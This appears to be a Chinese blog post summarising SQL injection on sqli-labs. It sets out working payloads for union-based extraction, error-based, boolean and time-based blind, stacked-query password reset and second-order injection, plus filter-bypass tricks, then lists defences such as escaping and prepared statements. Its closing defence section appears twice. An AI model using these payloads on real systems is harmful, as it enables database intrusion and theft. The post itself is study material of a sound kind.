layout: post
title: SQL总结
subtitle: 学习学习
date: 2020-12-11
author: lll-yz
header-img: img/post-bg-coffee.jpg
catalog: true
tags:
- sqli-labs
SQL注入总结
SQL常用的函数:
-
比较运算符:< , > , <= , >= , =
-
逻辑运算符:and , or
-
database() 当前数据库
-
length() 返回字符串的长度
-
substr() 返回字符串的一部分。
-
concat(), concat_ws() 木有分隔符的连接字符串,有分隔符的连接字符串。
-
group_concat() 连接一个组的字符串
-
ascii() 返回ASCII码值
-
if(a,b,c) 如果a正确,b执行否则c执行。
-
sleep(x) 执行后,睡眠x秒后执行。
一、什么是SQL
SQL,指结构化查询语言,作用:访问和处理数据库。 也就是说SQL语言的所有操作都是作用于数据库的,那我们的SQL注入的目的就显而易见了,即进入后台数据库,对后台数据库进行查看或修改。
二、SQL注入原理
当客户提交的数据末端未作处理或转义直接带入数据库,就造成了sql注入。攻击者通过构造不同的sql语句来实现对数据库的任意操作。
三、SQL注入分类
-
数字型注入
数字型:输入 id=1 and 1=1 和 1=2进行判断,首先在URL中输入?id=1 and 1=1 页面显示正常,后输入id=1 and 1=2 页面出错,说明注入类型为数字型。
原因如下:当输入 and 1=1时,后台执行sql语句:
select*from <> where id = 1 and 1=1;
没有语法错误且逻辑判断正确,返回正常。
当输入 and 1=2时,后台执行sql语句:
select*from <> where id = 1 and 1=2;
没有语法错误,但逻辑判断为假,所以返回错误。
若为字符型输入上述语句,后台执行sql语句:
select*from <> where id ='1 and 1=1'; select*from <> where id = '1 and 1=2';
查询语句将and语句全部转换为字符串,不会进行逻辑判断,所以不会显示错误。
-
字符型注入
字符型:输入 and ‘1’='1 和 and ‘1’='2来判断. 。当输入and ‘1’='1时页面正常,输入 and ‘1’='2后错误,说明注入类型为字符型。
原因如下:当输入 and ‘1’='1时,sql语句为:
select*from <> where id = 'x' and '1'='1';
没有语法错误且逻辑判断正确,返回正常。
当输入 and ‘1’='2时,sql语句为:
select*from <> where id = 'x' and '1'='2';
没有语法错误,但逻辑判断为假,所以返回错误。
-
宽字节注入
过滤 ’ 的时候往往利用的思路是将 ’ 转换为 \’ 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
1.去掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
id=-1%df%27union select 1,user(),3–+
2.将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数: replace(): 过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。
addslaches(): 返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式) mysql_real_escape_string(): 转义下列字符:
\x00, \n, \r , , ', ", \x1a(防御,将mysql设置为gbk即可)
四、注入方法与注入步骤
这里只用GET注入来举例了,POST,cookie,user-agent等与其只是注入地点不同,方法基本一致。
-
普通注入
步骤:先判断注入类型(以在sqli-labs上为例)
?id=1 ?id=1 and 1=2 //错误则存在数字型注入 ?id=1' ?id=1' --+ //若上一个出错,而现在正确则存在‘的字符型注入 (也可能有“,’)等包裹的字符型注入,同上判断)
判断字段长度:
?id=1 order by x (x=1,2,3...)
判断回显位置:(假设有3个字段)
?id=-1 union select 1,2,3
查询数据库名,表名,列名,数据:(以回显位置在2,3)
?id=-1 union select 1,database(),3 //数据库名 ?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 //表名 ?id=-1 union select 1,(select group_concat(column_name) from information_shcema.columns where table_name='表名'),3 //列名 ?id=-1 union select 1,(select group_concat(要查询的数据) from 数据库名.表名),3 //数据
-
报错注入
这里不会回显正确的查询内容,但是会返回具体的报错内容,所以采用报错注入。
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
-
布尔盲注
即不显示正确的查询内容,也不显示具体报错,只有正确和错误时返回的页面不同,采用布尔盲注。
?id=1' and length(database())>1 --+
-
延时盲注
页面不管对错都没有变化,使用延时注入通过页面返回时间进行判断。
?id=1' and if(length(database())>1,1,sleep(5)) --+
-
堆叠注入
首先要先得到正确的数据。
?id=1';update users set password='123' where username='Dumb'; --+
采用堆叠注入,查询的同时修改了Dumb的密码为:123,后查询发现成功修改。
-
二次注入
一开始对用户输入内容进行了过滤,但数据库内并没有进行过滤,进入数据库的内容还是我们自己输入的,并没有改变,当我们再次操作时,系统调用了数据库里的数据,这时我们注入的内容被代入SQL语句执行,就成功注入。
注册用户名为 admin '# ,密码随意 更改密码,后用 用户名admin 密码为更改密码,登陆成功。
五、SQL注入绕过姿势
1.关键字嵌套,大小写绕过:
如: and–>aandnd, and–>And
2.各种编码(对关键字编码):
-
URL编码 如:# 对应的URL编码为
%23
。 -
16进制编码 如:users的16进制编码为
0x7573657273
。 -
ASCII编码等。
3.注释:
一般的末尾注释为:#,%23,–+。
4.关键字替换:
- 空格替换:
/**/
,%a0
,()
- and替换:
&&
- or替换:
||
- =替换:
like
- 引号替换:用16进制编码
六、SQL注入防御
1.过滤特殊字符,转义特殊字符。
**addslashes()**函数,他会在指定的预定义字符前添加反斜杠转义。(’, ", \, null)
magic_quotes_gpc开启。
magic_quotes_gpc=on下,我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 magic_quotes_gpc=off下,必须使用addslashes()对输入数据进行处理,但不需要stripslashes()格式化输出。因为addslashes()并未将反斜杠一起写入数据库,只是帮助MySQL完成了SQL语句的执行。
mysql_real_escape_string() 函数转义SQL语句中使用的字符串中的特殊字符。( \x00, \n, \r , , ', ", \x1a)
**htmlspecialchars()**函数把预定义的字符转换未HTML实体。
(&, ', ", <, >)
2.检查变量数据类型和格式。
如:
$uid=checkuid($uid); //检测$uid是不是数字类型,不是不继续往下运行
$sql = "SELECT uid,username FROM user WHERE uid='{$uid}‘;
这段语句是为了保证了id是数字类型,checkid
是一个自定义的函数,但是千万别直接里面写一个is_numeric就结束了啊,这很容易就可以用16进制或者是科学计数法去绕过的,这个还是少用吧,毕竟自写函数就像是写黑名单,肯定会有纰漏的。这里只是举一个简单的例子。
3.使用SQL语句预编译。
使用PDO语句,不将变量拼接到PDO语句中,而使用占位符进行数据库的增,删,改,查。
4.关闭错误提示
PHP配置文件php.ini中的display_errors=off。
这段语句是为了保证了id是数字类型,checkid
是一个自定义的函数,但是千万别直接里面写一个is_numeric就结束了啊,这很容易就可以用16进制或者是科学计数法去绕过的,这个还是少用吧,毕竟自写函数就像是写黑名单,肯定会有纰漏的。这里只是举一个简单的例子。
3.使用SQL语句预编译。
使用PDO语句,不将变量拼接到PDO语句中,而使用占位符进行数据库的增,删,改,查。
4.关闭错误提示
PHP配置文件php.ini中的display_errors=off。